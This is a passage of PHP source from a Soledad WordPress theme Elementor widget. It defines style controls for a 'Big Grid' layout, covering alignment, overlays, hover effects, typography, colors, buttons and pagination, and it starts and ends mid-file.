			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->add_control( 'content_vertical_position', array(
			'label'                => __( 'Content Text Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'content_text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'content_display', array(
			'label'   => __( 'Content Text Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'block',
			'options' => array(
				'block'        => esc_html__( 'Block', 'soledad' ),
				'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'content_width', array(
			'label'      => __( 'Content Text Max-Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
		) );

		$this->add_control( 'bg_padding_margin', array(
			'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_responsive_control( 'content_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'content_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_overlay', array(
			'label' => __( 'Big Grid Overlay', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'overlay_type', array(
			'label'   => __( 'Apply Overlay On:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'whole',
			'options' => array(
				'whole' => __('Whole Image', 'soledad' ),
				'text'  => __('Whole Content Text', 'soledad' ),
				'none'  => __('None', 'soledad' ),
			)
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'      => 'overlay_bg',
			'label'     => __( 'Overlay Background', 'soledad' ),
			'types'     => array( 'classic', 'gradient', 'video' ),
			'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
			'condition' => array( 'overlay_type!' => array( 'none' ) ),
		) );

		$this->add_responsive_control( 'overlay_opacity', array(
			'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_responsive_control( 'overlay_hopacity', array(
			'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_control( 'apply_spe_bg_subtitle', array(
			'label' => __( 'Apply Separate Background for Categories/Sub Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_subtitle', array(
			'label'     => __( 'Background for Categories/Sub Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-post .cat > a.penci-cat-name' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-bgrid-based-custom .pcbg-sub-title'       => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_subtitle' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hsubtitle', array(
			'label'     => __( 'Background for Categories/Sub Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-post .penci-bgitem:hover .cat > a.penci-cat-name' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-bgrid-based-custom .penci-bgitem:hover .pcbg-sub-title'       => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_subtitle' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_title', array(
			'label' => __( 'Apply Separate Background for Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_title', array(
			'label'     => __( 'Background for Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_htitle', array(
			'label'     => __( 'Background for Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_meta', array(
			'label' => __( 'Apply Separate Background for Post Meta/Description', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_meta', array(
			'label'     => __( 'Background for Post Meta/Description', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hmeta', array(
			'label'     => __( 'Background for Post Meta/Description on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_bg_hover_effect', array(
			'label' => __( 'Hover Effect', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'image_hover', array(
			'label'   => __( 'Image Hover Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'zoom-in',
			'options' => array(
				'zoom-in'     => __('Zoom-In', 'soledad' ),
				'zoom-out'    => __('Zoom-out', 'soledad' ),
				'move-left'   => __('Move to Left', 'soledad' ),
				'move-right'  => __('Move to Right', 'soledad' ),
				'move-bottom' => __('Move to Bottom', 'soledad' ),
				'move-top'    => __('Move to Top', 'soledad' ),
				'none'        => __('None', 'soledad' ),
			)
		) );

		$this->add_control( 'text_overlay', array(
			'label'   => __( 'Content Text Hover Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'none',
			'options' => array(
				'none'    => __('None', 'soledad' ),
				'show-in' => __('Show on Hover', 'soledad' ),
				'hide-in' => __('Hide on Hover', 'soledad' ),
			)
		) );

		$this->add_control( 'text_overlay_ani', array(
			'label'     => __( 'Content Text Hover Animation', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'movetop',
			'options'   => array(
				'movetop'    => __('Move to Top', 'soledad' ),
				'movebottom' => __('Move to Bottom', 'soledad' ),
				'moveleft'   => __('Move to Left', 'soledad' ),
				'moveright'  => __('Move to Right', 'soledad' ),
				'zoomin'     => __('Zoom In', 'soledad' ),
				'zoomout'    => __('Zoom Out', 'soledad' ),
				'fade'       => __('Fade', 'soledad' ),
			),
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->add_control( 'title_anivisi', array(
			'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_typo', array(
			'label' => __( 'Big Grid Typography & Colors', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bgitem_design', array(
			'label'     => esc_html__( 'Big Grid Items', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'style' => 'style-1' ),
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_control( 'bgitem_bg', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				'body.pcdark-mode {{WRAPPER}} .penci-biggrid .penci-bgitin'       => 'background-color: rgba(55,55,55,0.2);',
			),
		) );

		$this->add_control( 'bgitem_borders', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_responsive_control( 'bgitem_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgitem_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .penci-bgitin, {{WRAPPER}} .pcbg-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'subtitle_design', array(
			'label'     => esc_html__( 'Post Categories/ Sub Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgsub_title', array(
			'label'     => __( 'Text & Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above' => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above span'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above span a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title'                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgsub_title_hover', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgsub_title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above, {{WRAPPER}} .pcbg-content-inner .pcbg-above span,{{WRAPPER}} .pcbg-content-inner .pcbg-above span a, {{WRAPPER}} .pcbg-content-inner .pcbg-sub-title',
		) );

		$this->add_control( 'title_design', array(
			'label'     => esc_html__( 'Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgtitle_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bgtitle_color_hover', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'background-size: 100% 1px;',
			),
		) );

		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgtitle_typo_big',
			'label'     => __( 'Title Typography for Big Items', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgtitle_typo',
			'label'    => __( 'Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
		) );

		$this->add_control( 'desc_design', array(
			'label'     => esc_html__( 'Post Meta/ Description Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgdesc_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-meta,{{WRAPPER}} .pcbg-content-inner .pcbg-meta span, {{WRAPPER}} .pcbg-content-inner .pcbg-meta a',
		) );

		$this->add_control( 'excerpt_design', array(
			'label'     => esc_html__( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'excerpt_tcolor', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'bgquery_type' => 'post' ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'post' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->add_control( 'readmore_design', array(
			'label'     => esc_html__( 'Read More Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'readmore_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'readmore_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hcolor', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgreadm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn',
		) );

		$this->add_responsive_control( 'bgreadmore_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'add_icon_readmore', array(
			'label' => __( 'Add Icon to "Read More" Button', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'readmore_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'readmore_icon_pos', array(
			'label'     => esc_html__( 'Icon position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default'   => 'right',
			'condition' => array( 'add_icon_readmore' => 'yes' ),
			// 'selectors_dictionary' => array(
			// 'right' => 'row',
			// 'left' => 'row-reverse',
			// ),
			// 'selectors' => array(
			// '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'flex-direction: {{VALUE}}; -webkit-flex-direction: {{VALUE}}',
			// ),
		) );

		$this->add_control( 'pagi_design', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging'       => array( 'loadmore', 'scroll' ),
				'bgquery_type' => 'post'
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
